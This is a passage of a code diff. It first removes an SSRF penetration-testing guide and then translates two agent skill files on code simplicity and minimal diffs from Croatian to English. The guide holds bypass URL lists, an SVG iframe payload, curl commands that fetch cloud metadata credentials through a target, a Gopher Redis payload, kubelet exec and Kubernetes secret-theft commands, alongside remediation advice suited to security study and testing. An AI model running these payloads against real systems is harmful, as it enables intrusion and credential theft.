-Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to induce a server-side application to make requests to an unintended location. In a successful SSRF attack, the attacker can force the server to connect to:
-
-- Internal services within the organization's infrastructure
-- External systems on the internet
-- Services on the same server (localhost)
-- Cloud service provider metadata endpoints
-
-```mermaid
-graph TD
- A[Attacker] -->|Sends crafted request| B[Vulnerable Web App]
- B -->|Makes request to| C[Unintended Target]
- C -->|Responds with data| B
- B -->|Includes response data| A
-
- subgraph "Possible Targets"
- C
- D[Internal Network Services]
- E[Cloud Metadata Service]
- F[External Web Services]
- G[Local Services on Same Server]
- end
-
- C --- D
- C --- E
- C --- F
- C --- G
-```
-
-Types of SSRF include:
-
-- **Basic SSRF**: Direct requests to internal/external resources
-- **Blind SSRF**: No response returned, but requests still occur
-- **Semi-blind SSRF**: Limited information returned in responses
-- **Time-based SSRF**: Detection through response timing differences
-- **Out-of-band SSRF**: Secondary channel used for data exfiltration
-
-## Hunt
-
-### Identifying SSRF Vectors
-
-- **URL Input Fields**:
- - Website preview generators
- - Document/image imports from URLs
- - API integrations with external services
- - Webhook configurations
- - Export to PDF/screenshot functionality
-
-- **Proxy Functionality**:
- - Web proxies
- - Content fetchers
- - API gateways
- - Translation services
-
-- **File Processing**:
- - Media conversion tools
- - Document processors
- - XML/JSON processors with external entity support
-
-- **Integration Points**:
- - Third-party service connections
- - Cloud storage integrations
- - Monitoring systems
- - Webhook endpoints
-
-```mermaid
-mindmap
- root((SSRF Vectors))
- URL Input Fields
- Website Previews
- URL Imports
- API Integrations
- Webhooks
- PDF/Screenshot Export
- Proxy Functionality
- Web Proxies
- Content Fetchers
- API Gateways
- Translation Services
- File Processing
- Media Converters
- Document Processors
- XML/JSON Processors
- Integration Points
- Third-party Services
- Cloud Storage
- Monitoring Systems
- Webhook Endpoints
-```
-
-### Test Methodology
-
-1. **Identify Parameters**: Find URL or hostname parameters
-2. **Setup Listener**: Configure a system to detect callbacks
- - Public server with unique URL
- - Burp Collaborator
- - Tools like Interactsh or canarytokens.org
-3. **Test Internal Access**: Try accessing internal resources
- ```
- http://localhost:port
- http://127.0.0.1:port
- http://0.0.0.0:port
- http://internal-service.local
- http://169.254.169.254/ (cloud metadata)
- ```
-4. **Observe Responses**: Check for:
- - Response time differences
- - Error messages
- - Content leakage
- - Callbacks to your server
-
-```mermaid
-sequenceDiagram
- participant Attacker
- participant WebApp as Vulnerable Web App
- participant Internal as Internal Services
- participant CallbackServer as Attacker's Callback Server
-
- Note over Attacker,CallbackServer: Phase 1: Basic SSRF Testing
-
- Attacker->>WebApp: Request with Internal URL<br>(http://localhost:8080)
- WebApp->>Internal: Makes request to internal service
- Internal->>WebApp: Response from internal service
- WebApp->>Attacker: Leaked internal response
-
- Note over Attacker,CallbackServer: Phase 2: Blind SSRF Testing
-
- Attacker->>WebApp: Request with Callback URL<br>(http://attacker-server.com/unique-id)
- WebApp->>CallbackServer: Makes request to callback server
- CallbackServer->>Attacker: Log notification of request
-
- Note over Attacker,CallbackServer: Phase 3: Bypass Testing
-
- Attacker->>WebApp: Request with Obfuscated URL<br>(http://127.0.0.1.attacker.com)
- WebApp->>CallbackServer: Makes request due to parser confusion
- CallbackServer->>Attacker: Log notification of successful bypass
-```
-
-### Bypass Techniques Hunting
-
-- Look for partial validation or URL parsing issues
-- Test scheme changes (http→https, http→file)
-- Try different IP formats (decimal, octal, hex)
-- Use URL shorteners if allowed
-- Check DNS rebinding possibilities
-
-## Bypass Techniques
-
-### Allowlist Bypasses
-
-- **Open Redirects**: Using allowed domains with redirect parameters
- ```
- https://allowed-domain.com/redirect?url=http://internal-server
- ```
-- **DNS Spoofing**: Register expired domains from allowlist
-- **Subdomain Takeover**: Control subdomains of allowed domains
-- **Path Traversal**: `https://[email protected]`
-
-### Denylist Bypasses
-
-- **Alternate IP Representations**:
- ```
- http://127.0.0.1/
- http://127.1/
- http://0177.0.0.1/
- http://0x7f.0.0.1/
- http://2130706433/ (decimal representation)
- ```
-- **IPv6 Variations**:
- ```
- http://[::1]/
- http://[::127.0.0.1]/
- http://[0:0:0:0:0:ffff:127.0.0.1]/
- ```
-- **Domain Resolutions**:
- ```
- http://localhost.evil.com/ (when attacker controls evil.com DNS)
- http://spoofed-domain/ (with modified /etc/hosts)
- ```
-- **URL Encoding Tricks**:
- ```
- http://127.0.0.1/ → http://127%2e0%2e0%2e1/
- http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/
- ```
-- **Non-Standard Ports**: Accessing standard services on non-standard ports
-- **Case Manipulation**: `http://LoCaLhOsT/`
-- **URL Schema Confusion**: `http:////localhost/`
-
-```mermaid
-flowchart TD
- A[SSRF Protection Bypass] --> B[Allowlist Bypass]
- A --> C[Denylist Bypass]
-
- B --> B1[Open Redirects]
- B --> B2[DNS Spoofing]
- B --> B3[Subdomain Takeover]
- B --> B4[Path Traversal]
-
- C --> C1[IP Representation Tricks]
- C1 --> C1a[Decimal: 2130706433]
- C1 --> C1b[Octal: 0177.0.0.1]
- C1 --> C1c[Hex: 0x7f.0.0.1]
- C1 --> C1d[Shortened: 127.1]
-
- C --> C2[IPv6 Variations]
- C2 --> C2a["[::1]"]
- C2 --> C2b["[::127.0.0.1]"]
-
- C --> C3[Domain Tricks]
- C3 --> C3a[localhost.evil.com]
- C3 --> C3b[spoofed-domain]
-
- C --> C4[Encoding Tricks]
- C4 --> C4a[URL Encoding]
- C4 --> C4b[Double Encoding]
-
- C --> C5[Schema Confusion]
- C5 --> C5a["http:////localhost"]
-
- style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
- style B fill:#aae,stroke:#333,color:#333
- style C fill:#aae,stroke:#333,color:#333
-```
-
-### Uncommon Techniques
-
-- **DNS Rebinding**: Change DNS resolution mid-connection
-- **Temporal Intents**: Reliance on stale DNS resolution
-- **Double URL Encoding**: Encode already encoded values
-- **Unicode Normalization**: Using similar-looking characters
-- **Protocol Downgrading**: Switching from https to http
-
-### Additional Cloud Endpoints
-
-- **Alibaba Cloud**: `http://100.100.100.200/latest/meta-data/`
-- **Packet Cloud**: `https://metadata.packet.net/userdata`
-- **ECS Task**: `http://169.254.170.2/v2/credentials/`
-- **OpenStack**: `http://169.254.169.254/openstack/latest/meta_data.json`
-
-### Other Bypass Methods
-
-- **Weak Parser Exploits**:
- ```
- http://127.1.1.1:80\@127.2.2.2:80/
- http://127.1.1.1:80\@@127.2.2.2:80/
- http://127.1.1.1:80:\@@127.2.2.2:80/
- ```
-- **Filter Bypass**:
- ```
- 0://evil.com:80;http://google.com:80/
- ```
-- **Enclosed Alphanumerics**: Using special Unicode characters that look like regular characters
- ```
- http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
- ```
-- Host header abuse (`Host:` or `X-Forwarded-Host:`) against permissive back-end proxies
-- Unicode homoglyph hostnames (e.g., ⅰⅱⅲ.local) to dodge simple regex checks
-- DNS-over-HTTPS lookups (`https://dns.google/resolve?name=…`) to leak internal hostnames
-
-### PDF SSRF Exploitation
-
-When SSRF occurs in PDF rendering functionality, SVG can be used to exploit it:
-
-```xml
-<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
- <g>
- <foreignObject width="800" height="500">
- <body xmlns="http://www.w3.org/1999/xhtml">
- <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
- </body>
- </foreignObject>
- </g>
-</svg>
-```
-
-### Additional IP Representation Bypasses
-
-```
-http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
-http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
-http://0330.072.0326.0343
-http://033016553343
-http://0x0NaN0NaN
-http://0xNaN.0xaN0NaN
-http://0xNaN.0xNa0x0NaN
-http://shmilon.0xNaN.undefined.undefined
-http://NaN
-http://0NaN
-http://0NaN.0NaN
-```
-
-## Vulnerabilities
-
-### Common SSRF Vulnerabilities
-
-#### Cloud Metadata Access
-
-- **AWS**: `http://169.254.169.254/latest/meta-data/` (IMDSv2 is now default; first acquire a session token with `PUT /latest/api/token` and include it in `X-aws-ec2-metadata-token`)
-
-**AWS IMDSv2 Session Token Bypass Techniques:**
-
-Many SSRF filters block `169.254.169.254` but miss the two-step IMDSv2 flow:
-
-```python
-# Step 1: Obtain session token (requires PUT request)
-PUT http://169.254.169.254/latest/api/token
-X-aws-ec2-metadata-token-ttl-seconds: 21600
-
-# If application supports PUT via SSRF parameter:
-# Example 1: Via parameter that accepts methods
-POST /api/fetch
-{
- "url": "http://169.254.169.254/latest/api/token",
- "method": "PUT",
- "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
-}
-
-# Example 2: Via URL scheme that triggers PUT
-http://vulnerable.com/proxy?url=http://169.254.169.254/latest/api/token&method=PUT
-
-# Step 2: Use token to access metadata
-GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
-X-aws-ec2-metadata-token: <TOKEN_FROM_STEP1>
-```
-
-**IMDSv2 Bypass Scenarios:**
-
-1. Application supports custom HTTP methods in SSRF
-2. Server-side HTTP client uses method from request parameter
-3. HTTP parameter pollution (mixing GET with PUT semantics)
-4. SSRF through applications that intentionally support PUT (webhooks, API gateways)
-5. Vulnerable proxy servers that forward method override headers (`X-HTTP-Method-Override: PUT`)
-
-- **Azure**: `http://169.254.169.254/metadata/instance` (requires header `Metadata: true` and `api-version`; alternate IP `http://168.63.129.16/metadata/instance`)
-- **DigitalOcean**: `http://169.254.169.254/metadata/v1.json`
-- **Equinix Metal**: `http://169.254.169.254/metadata` (legacy `metadata.packet.net` now redirects here)
-- **Google Cloud**: `http://metadata.google.internal/computeMetadata/v1/`
-- **Oracle Cloud**: `http://169.254.169.254/opc/v1/instance/`
-
-#### Internal Service Exposure
-
-- **Admin Interfaces**: `http://localhost:8080/admin`
-- **Databases**: `http://localhost:3306`, `http://localhost:27017`
-- **Caching Servers**: `http://localhost:6379` (Redis)
-- **Management APIs**: `http://localhost:8500` (Consul)
-- **Development Servers**: `http://localhost:3000`, `http://localhost:8000`
-
-#### Protocol Abuse
-
-- **File Protocol**: `file:///etc/passwd`
-- **Dict Protocol**: `dict://localhost:6379/info`
-- **Gopher Protocol**: `gopher://localhost:25/`
-- **TFTP Protocol**: `tftp://localhost:69/`
-- **LDAP Protocol**: `ldap://localhost:389/`
-- **HTTP/2 Coalescing**: Re-used TLS connections between SAN-matched hostnames can bypass host-based filters
-- **h2c Upgrade**: Clear-text HTTP/2 upgrade (`PRI * HTTP/2.0`) may slip past scheme filters
-- **IPv6‑mapped IPv4**: `http://[::ffff:127.0.0.1]` and `http://[::ffff:7f00:1]`
-- **Zone‑scoped IPv6**: `http://[fe80::1%25lo0]:80` may confuse naive validators
-
-```mermaid
-graph TB
- A[SSRF Vulnerability]
- A --> B[Cloud Metadata<br>Exploitation]
- A --> C[Internal Service<br>Access]
- A --> D[Protocol<br>Abuse]
-
- B --> B1["AWS: 169.254.169.254"]
- B --> B2["GCP: metadata.google.internal"]
- B --> B3["Azure: 169.254.169.254/metadata"]
-
- C --> C1["Admin: localhost:8080/admin"]
- C --> C2["DB: localhost:3306, 27017"]
- C --> C3["Cache: localhost:6379"]
- C --> C4["DevSrv: localhost:3000, 8000"]
-
- D --> D1["file:///etc/passwd"]
- D --> D2["dict://localhost:6379"]
- D --> D3["gopher://localhost:25"]
- D --> D4["ldap://localhost:389"]
-
- style A fill:#b7b,stroke:#333,stroke-width:2px,color:#333
- style B fill:#aae,stroke:#333,color:#333
- style C fill:#aae,stroke:#333,color:#333
- style D fill:#aae,stroke:#333,color:#333
-```
-
-### Common SSRF Parameters
-
-```
-url, dest, redirect, uri, path, continue, window, next, data, reference,
-site, html, val, validate, domain, callback, return, page, feed, host,
-port, to, out, view, dir, origin, source, endpoint, proxy, fetch, img_url
-link, site_url, media_url
-```
-
-## Methodologies
-
-### Tools
-
-- **Burp Suite Extensions**:
- - Collaborator
- - SSRF Scanner
- - Param Miner
- - Turbo Intruder
-- **Specialized SSRF Tools**:
- - SSRFmap
- - Gopherus
- - SSRF Sheriff
- - Interactsh
-- **Network Utilities**:
- - Netcat
- - TCPDump
- - Wireshark
-- **Payload Generators**:
- - PayloadsAllTheThings (SSRF section)
- - FuzzDB
-
-### Testing Process
-
-```mermaid
-graph TD
- A[Start SSRF Testing] --> B[Initial Discovery]
- B --> B1[Map Entry Points]
- B --> B2[Setup OOB Detection]
- B --> B3[Test External URLs]
- B --> B4[Analyze Responses]
-
- B4 --> C{Potential SSRF?}
- C -->|Yes| D[Vulnerability Confirmation]
- C -->|No| E[Test Different Parameters]
- E --> B4
-
- D --> D1[Test Internal Resources]
- D --> D2[Test Blind SSRF]
- D --> D3[Test Protocol Support]
-
- D3 --> F{Vulnerability Confirmed?}
- F -->|Yes| G[Exploitation]
- F -->|No| H[Test Bypass Techniques]
- H --> D1
-
- G --> G1[Port Scanning]
- G --> G2[Cloud Metadata Access]
- G --> G3[Protocol-Specific Exploitation]
- G --> G4[File Access]
-
- G4 --> I[Documentation/Reporting]
-
- style A fill:#f9f,stroke:#333,stroke-width:2px,color:#333
- style C fill:#ff9,stroke:#333,stroke-width:2px,color:#333
- style F fill:#ff9,stroke:#333,stroke-width:2px,color:#333
- style I fill:#9f9,stroke:#333,stroke-width:2px,color:#333
-```
-
-#### Initial Discovery
-
-1. Map all application entry points accepting URLs or file paths
-2. Set up out-of-band detection server (e.g., Burp Collaborator)
-3. Test with benign external URL (e.g., `https://your-server.com/ssrf-test`)
-4. Analyze responses and check for callbacks
-
-#### Vulnerability Confirmation
-
-1. Test access to common internal resources:
-
- ```
- http://localhost/
- http://127.0.0.1:22/
- http://127.0.0.1:3306/
- http://169.254.169.254/
- ```
-
-2. Test for blind SSRF using time delays:
-
- ```
- http://slowwly.robertomurray.co.uk/delay/5000/url/http://www.google.com
- ```
-
-3. Confirm protocol support:
- ```
- file:///etc/passwd
- gopher://localhost:25/xHELO%20localhost
- ```
-
-#### Exploitation
-
-1. **Port Scanning**:
-
- ```
- for port in {1..65535}; do
- curl -s "https://target.com/api?url=http://localhost:$port" -o /dev/null
- if [ $? -eq 0 ]; then echo "Port $port is open"; fi
- done
- ```
-
-2. **Cloud Metadata Access**:
-
- ```
- # AWS
- # IMDSv2 requires first fetching a token
- curl -s -X PUT "https://target.com/api?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
- # then include it
- curl -s "https://target.com/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE" -H "X-aws-ec2-metadata-token: TOKEN"
- # Then query the specific role
- curl -s "https://target.com/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
-
- # GCP
- curl -s "https://target.com/api?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
-
- # Azure
- curl -s "https://target.com/api?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
- ```
-
-3. **Gopher Protocol Exploitation** (Redis example):
-
- ```
- gopher://127.0.0.1:6379/_SET%20ssrfkey%20%22Hello%20SSRF%22%0D%0ACONFIG%20SET%20dir%20%2Ftmp%2F%0D%0ACONFIG%20SET%20dbfilename%20redis.dump%0D%0ASAVE%0D%0AQUIT
- ```
-
-4. **File Access**:
- ```
- file:///etc/passwd
- file:///proc/self/environ
- file:///var/www/html/config.php
- ```
-
-#### Bypass Testing
-
-1. Test IP representation variations:
-
- ```
- http://127.0.0.1/
- http://2130706433/
- http://0x7f.0.0.1/
- http://017700000001/
- ```
-
-2. Test with URL encoding:
-
- ```
- http://127.0.0.1/ → http://127%2e0%2e0%2e1/
- ```
-
-3. Test with open redirects:
-
- ```
- https://allowed-domain.com/redirect?url=http://internal-server
- ```
-
-4. Test DNS rebinding with modern tools:
-
-**Modern DNS Rebinding Tools:**
-
-- **1u.ms** - Online DNS rebinding service (successor to rebinder.net)
-- **Singularity of Origin** - Advanced rebinding toolkit with GUI
-- **rbndr.us** - Simple rebinding for pentesting (format: `make-<ip1>-<ip2>-rbndr.us`)
-- **lockyfork/rebind** - Docker container for self-hosted rebinding server
-- **DNSRebindToolkit** - Python-based customizable rebinding server
-
-Example usage:
-
-```bash
-# Using rbndr.us: first resolves to your server, then to internal IP
-curl http://make-1.2.3.4-127.0.0.1-rbndr.us
-
-# Using 1u.ms
-curl http://1u.ms/A-127.0.0.1:1-2 # Alternates between external and localhost
-```
-
-### Reporting
-
-- Document the affected endpoint and parameters
-- Provide clear proof of concept
-- Explain potential impact (data access, internal recon, etc.)
-- Suggest specific remediation for the vulnerability
-- Include any bypass techniques that worked
-
-## Escalate
-
-- Perform Network Scanning to identify another vulnerable machine
-- Pull Instance Metadata from cloud machines
-- Kubernetes pivot: test common internal services from SSRF vantage point
-
-### Kubernetes-Specific SSRF Attack Surface
-
-#### Service Account Token Theft
-
-```bash
-# From SSRF vantage point:
-
-# 1. Kubelet API (often unauthenticated or weakly authenticated)
-curl http://127.0.0.1:10250/pods # List all pods on node
-curl http://127.0.0.1:10250/run/<namespace>/<pod>/<container> -d "cmd=id" # Execute commands
-curl http://127.0.0.1:10255/pods # Read-only port (legacy, often still open)
-
-# 2. Extract service account token
-curl file:///var/run/secrets/kubernetes.io/serviceaccount/token
-# Or via SSRF
-http://vulnerable-app?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token
-
-# 3. Use service account to access Kubernetes API
-TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
-curl -H "Authorization: Bearer $TOKEN" \
- https://kubernetes.default.svc/api/v1/namespaces/default/pods
-
-# 4. List secrets
-curl -H "Authorization: Bearer $TOKEN" \
- https://kubernetes.default.svc/api/v1/namespaces/default/secrets
-```
-
-#### Service Mesh Metadata Exposure
-
-**Istio/Envoy:**
-
-```bash
-# Envoy admin interface (often exposed on localhost)
-http://127.0.0.1:15000/config_dump # Full mesh configuration, certificates, endpoints
-http://127.0.0.1:15000/clusters # Upstream services and health
-http://127.0.0.1:15000/stats # Detailed metrics
-http://127.0.0.1:15000/certs # TLS certificates
-http://127.0.0.1:15001/ # Envoy admin on alternative port
-
-# Pilot discovery service
-http://127.0.0.1:8080/debug/endpointz # Service endpoints
-http://127.0.0.1:8080/debug/configz # Pilot configuration
-```
-
-**Linkerd:**
-
-```bash
-# Linkerd proxy admin
-http://127.0.0.1:4191/metrics # Prometheus metrics (leaks service topology)
-http://127.0.0.1:4191/ready # Readiness endpoint
-http://127.0.0.1:4140/ # Inbound proxy admin
-```
-
-**Consul Connect:**
-
-```bash
-http://127.0.0.1:8500/v1/agent/self # Agent configuration
-http://127.0.0.1:8500/v1/catalog/services # Service catalog
-```
-
-#### Container Runtime Socket Exposure
-
-```bash
-# Docker socket (if mounted - common in CI/CD containers)
-# Via SSRF translate unix socket to HTTP
-unix:///var/run/docker.sock
-
-# Example: List containers
-curl --unix-socket /var/run/docker.sock http://localhost/v1.40/containers/json
-
-# Via SSRF (if application supports unix sockets):
-http://vulnerable-app?url=unix:///var/run/docker.sock:/v1.40/containers/json
-
-# containerd socket
-unix:///run/containerd/containerd.sock
-
-# CRI-O socket
-unix:///var/run/crio/crio.sock
-```
-
-#### Container Metadata Services
-
-```bash
-# ECS Task Metadata Endpoint (AWS ECS/Fargate)
-http://169.254.170.2/v2/metadata # Task metadata
-http://169.254.170.2/v2/credentials # IAM credentials for task role
-http://169.254.170.2/v2/stats # Task stats
-http://169.254.170.2/v3/ # v3 endpoint
-
-# GCP Cloud Run metadata
-http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
-# Requires header: Metadata-Flavor: Google
-
-# Azure Container Instances
-http://169.254.169.254/metadata/instance?api-version=2021-02-01
-# Requires header: Metadata: true
-```
-
-#### Kubernetes Dashboard and Management Tools
-
-```bash
-# Kubernetes Dashboard (if exposed internally)
-http://kubernetes-dashboard.kube-system.svc.cluster.local
-
-# Prometheus
-http://prometheus.monitoring.svc.cluster.local:9090/api/v1/query?query=up
-
-# Grafana
-http://grafana.monitoring.svc.cluster.local:3000
-
-# ArgoCD
-http://argocd-server.argocd.svc.cluster.local
-
-# Rancher
-http://rancher.cattle-system.svc.cluster.local
-```
-
-## Remediation Recommendations
-
-### Input Validation
-
-- Implement strict URL validation
-- Use allowlists for domains and IP ranges
-- Validate URL schemes/protocols
-- Implement rate limiting
-- Apply layered allow-lists: validate scheme → network range → domain, in that order
-
-### Network Controls
-
-- Segment internal networks
-- Use egress filtering
-- Implement proper firewall rules
-- Disable unused URL schemes
-- Block the IMDSv2 token-acquire path (`PUT /latest/api/token`) for workloads that do not need EC2 metadata
-- Verify that SNI and the initial `Host` header match on every new TLS connection to mitigate HTTP/2 coalescing
-- Terminate user-supplied fetches in a sandboxed egress proxy that enforces allow‑lists and IP range checks after DNS resolution
-- Disallow redirects to private address space; re‑validate target after each redirect hop
-
-### Application Design
-
-- Use pre-signed URLs for cloud resources
-- Implement proper access controls
-- Use secure defaults for all URL handlers
-- Implement request timeouts
-- Strict, two‑stage URL validation using a trusted RFC‑3986 parser: validate scheme/host first, then resolve and validate IP/CIDR
-- Prefer fetching by resource ID rather than arbitrary URL; where unavoidable, use signed callbacks (HMAC) and queue‑based fetchers
-
-## Real-World Examples
-
-### Case Studies
-
-- Capital One Breach (2019)
- - Exploitation of metadata service
- - Impact: 100M+ customer records exposed
-- Gitlab SSRF (2019)
- - Improper URL validation in import feature
- - Could access internal services
-- Microsoft Purview SSRF (2025)
- - Misconfigured proxy endpoint allowed metadata-service access, leading to cross-tenant data exposure
-
-### Common Attack Scenarios
-
-- Cloud metadata access leading to credential theft
-- Internal service enumeration through port scanning
-- Redis unauthorized access via Gopher protocol
-- Jenkins exploitation through internal access
-
-## Framework-Specific SSRF
-
-### Node.js
-
-- Axios validation bypass techniques
-- `http-proxy` misconfigurations
-- `request` module vulnerabilities
-- Axios path-relative URL bypass (CVE-2024-39338) — upgrade to ≥ 1.7.4
-
-### Python
-
-- `requests` library security considerations
-- `urllib` parsing inconsistencies
-- Flask/Django SSRF prevention
-
-### Java
-
-- `URLConnection` security practices
-- Spring framework protections
-- Apache HttpClient considerations
-- Apache CXF Aegis databinding SSRF (CVE-2024-28752)
-
diff --git a/.claude/skills/code-simplicity/SKILL.md b/.claude/skills/code-simplicity/SKILL.md
index b08487b..6f90572 100644
--- a/.claude/skills/code-simplicity/SKILL.md
+++ b/.claude/skills/code-simplicity/SKILL.md
@@ -1,36 +1,34 @@
---
name: code-simplicity
-description: Koristi kad treba napisati, dodati ili izmijeniti kod, a postoji rizik od prekomjerne složenosti: nepotrebnih apstrakcija, slojeva, konfiguracijskih opcija, dodatne "proširivosti", pretjerane obrade grešaka ili nezatraženih testova, logiranja i dokumentacije. Ne koristi za sigurnosne revizije (za to je security-audit).
+description: Use when writing, adding or modifying code where there is a risk of excess complexity: unnecessary abstractions, layers, configuration options, extra "extensibility", overdone error handling, or tests, logging and documentation nobody asked for. Do not use for security reviews (use security-audit for that).
---
-
-# Pojednostavljenje koda
-
-Cilj je najmanji kod koji ispravno rješava zadatak i lako se čita i mijenja. Kraći kod koji radi bolji je od dužeg koji je "robustniji", ali nepotrebno složen.
-
-## Pravila
-
-1. **Apstrakcije tek kad ih zadatak traži.** Ne uvodi apstraktne klase, sučelja, tvorničke funkcije, strategije ni slojeve za nešto što se koristi na jednom mjestu. Ponavljanje dvaju-triju redaka obično je bolje od prerane apstrakcije.
-2. **Bez nezatraženih parametara i opcija.** Ne dodaji konfiguraciju, zastavice ni parametre za scenarije koje nitko nije spomenuo.
-3. **Obrada grešaka samo za stvarne ulaze.** Validiraj podatke koji dolaze izvana (korisnik, datoteka, mreža, API). Ne brani se od stanja koja se u kontekstu zadatka ne mogu dogoditi.
-4. **Bez dodataka koji nisu tražени.** Ne dodaji logiranje, testove, dokumentaciju ni README izmjene osim ako su tražene. Komentar samo tamo gdje nešto nije očito iz koda.
- Kad se testovi pišu (jer su traženi ili ih projekt zahtijeva), spremaju se u odgovarajuću mapu unutar `tests/` prema području koje štite (`accounts`, `collectors`, `monitoring`, `history`, `assistant`, `security`; popis je u `TESTS.md`, odjeljak "Where the tests live"), nikad izravno u `tests/`. Ako nijedna mapa ne odgovara, napravi novu i dodaj je u taj popis. Nazivi datoteka moraju biti jedinstveni kroz sve mape.
-5. **Ne mijenjaj ono što nije dio zadatka.** Ako vidiš prostor za poboljšanje u susjednom kodu, spomeni ga u odgovoru, ali ga ne diraj.
-6. **Složenija struktura zahtijeva objašnjenje.** Ako misliš da je potreban veći dizajn, prvo kratko objasni zašto i pitaj, pa tek onda piši.
-
-## Provjera prije predaje
-
-Prije nego predaš kod, pročitaj ga i pitaj se:
-- Mogu li ukloniti sloj, klasu ili funkciju a da ponašanje ostane isto?
-- Postoji li parametar, grana ili provjera koja ne odgovara nijednom stvarnom slučaju?
-- Je li naziv dovoljno jasan da komentar nije potreban?
-
-Ako je odgovor "da" na bilo koje od prva dva pitanja, skrati.
-
-## Primjer
-
-Zadatak: "Napiši funkciju koja vraća zbroj cijena u košarici."
-
-Preopširno:
+
+# Keeping code simple
+
+The goal is the smallest code that solves the task correctly and is easy to read and change. Shorter code that works is better than longer code that is "more robust" but needlessly complex.
+
+## Rules
+
+1. **Abstractions only when the task calls for them.** Do not introduce abstract classes, interfaces, factory functions, strategies or layers for something used in one place. Repeating two or three lines is usually better than a premature abstraction.
+2. **No parameters or options nobody asked for.** Do not add configuration, flags or parameters for scenarios no one has mentioned.
+3. **Error handling only for real inputs.** Validate data that comes from outside (user, file, network, API). Do not guard against states that cannot occur in the context of the task.
+4. **No extras nobody asked for.** Do not add logging, tests, documentation or README changes unless they were requested. Comment only where something is not obvious from the code.
+ When tests are written (because they were requested or the project requires them), they go into the matching folder inside `tests/` according to the area they protect (`accounts`, `collectors`, `monitoring`, `history`, `assistant`, `security`; the list is in `TESTS.md`, section "Where the tests live"), never directly in `tests/`. If no folder fits, create a new one and add it to that list. File names must be unique across all folders.
+5. **Do not change what is not part of the task.** If you see room for improvement in neighbouring code, mention it in your reply, but do not touch it.
+6. **A more complex structure needs an explanation.** If you think a bigger design is needed, first briefly explain why and ask, and only then write it.
+## Check before handing over
+
+Before you hand over the code, read it and ask yourself:
+- Can I remove a layer, class or function and keep the behaviour the same?
+- Is there a parameter, branch or check that does not match any real case?
+- Is the name clear enough that no comment is needed?
+If the answer is "yes" to either of the first two questions, cut it down.
+
+## Example
+
+Task: "Write a function that returns the total of the prices in the cart."
+
+Too much:
```python
class PriceCalculator:
def __init__(self, strategy=None, currency="EUR", rounding=2):
@@ -38,13 +36,14 @@ class PriceCalculator:
def calculate(self, items):
...
```
-
-Dovoljno:
+
+Enough:
```python
def total(items):
return sum(item.price for item in items)
```
-
-## Izuzeci
-
-Složenost je opravdana kad zadatak to izričito traži, kad kod ide u veći sustav s jasno definiranim sučeljima, ili kad postojeći kod u projektu već koristi određeni obrazac. U tom slučaju prati postojeći obrazac, a ne uvodi novi. Ako nisi siguran, pitaj korisnika.
\ No newline at end of file
+
+## Exceptions
+
+Complexity is justified when the task explicitly asks for it, when the code goes into a larger system with clearly defined interfaces, or when existing code in the project already uses a particular pattern. In that case follow the existing pattern rather than introducing a new one. If you are not sure, ask the user.
+
\ No newline at end of file
diff --git a/.claude/skills/minimal-diff/SKILL.md b/.claude/skills/minimal-diff/SKILL.md
index 90dfcce..a8ed286 100644
--- a/.claude/skills/minimal-diff/SKILL.md
+++ b/.claude/skills/minimal-diff/SKILL.md
@@ -1,23 +1,23 @@
---
name: minimal-diff
-description: Koristi kad treba izmijeniti postojeći kod, popraviti grešku ili dodati manju funkcionalnost u postojeću bazu. Ne koristi za pisanje novog koda od nule (za to je code-simplicity).
+description: Use when you need to modify existing code, fix a bug, or add a small feature to an existing codebase. Do not use for writing new code from scratch (use code-simplicity for that).
---
-
-# Minimalne izmjene postojećeg koda
-
-Mijenjaj samo ono što je potrebno za zadatak.
-
-## Pravila
-
-1. **Prvo pročitaj okolni kod** i prati njegov stil, nazive i obrasce, čak i ako bi ti drugačije izgledao.
-2. **Ne preuređuj susjedni kod.** Bez preimenovanja, premještanja, reformatiranja ili "čišćenja" koje nije dio zadatka.
-3. **Ne dodaji promjene koje nisu tražene**, uključujući popravke tuđih grešaka koje nisu u opsegu zadatka. Spomeni ih u odgovoru.
-4. **Drži diff malim.** Ako izmjena zahtijeva više od očekivanog, zaustavi se i objasni zašto prije nastavka.
-5. **Ne mijenjaj javna sučelja** (potpise funkcija, API odgovore, nazive polja) bez izričitog dopuštenja.
-6. **Test koji pratiš uz izmjenu ide u postojeću datoteku u odgovarajućoj mapi `tests/`** (vidi `TESTS.md`, "Where the tests live"). Novu datoteku napravi samo ako nijedna ne odgovara, u mapi područja, nikad izravno u `tests/`.
-
-## Provjera prije predaje
-
-- Je li svaka promijenjena linija potrebna za zadatak?
-- Je li stil u skladu s okolnim kodom?
-- Ako sam nešto primijetio izvan opsega, jesam li to spomenuo, a ne promijenio?
\ No newline at end of file
+
+# Minimal changes to existing code
+
+Change only what the task requires.
+
+## Rules
+
+1. **Read the surrounding code first** and follow its style, naming and patterns, even if you would have done it differently.
+2. **Do not rework neighbouring code.** No renaming, moving, reformatting or "cleanup" that is not part of the task.
+3. **Do not add changes nobody asked for**, including fixes for other bugs outside the task's scope. Mention them in your reply instead.
+4. **Keep the diff small.** If the change needs more than expected, stop and explain why before continuing.
+5. **Do not change public interfaces** (function signatures, API responses, field names) without explicit permission.
+6. **A test that accompanies the change goes into an existing file in the matching `tests/` folder** (see `TESTS.md`, "Where the tests live"). Create a new file only if none fits, inside the area's folder, never directly in `tests/`.
+## Check before handing over
+
+- Is every changed line needed for the task?
+- Does the style match the surrounding code?
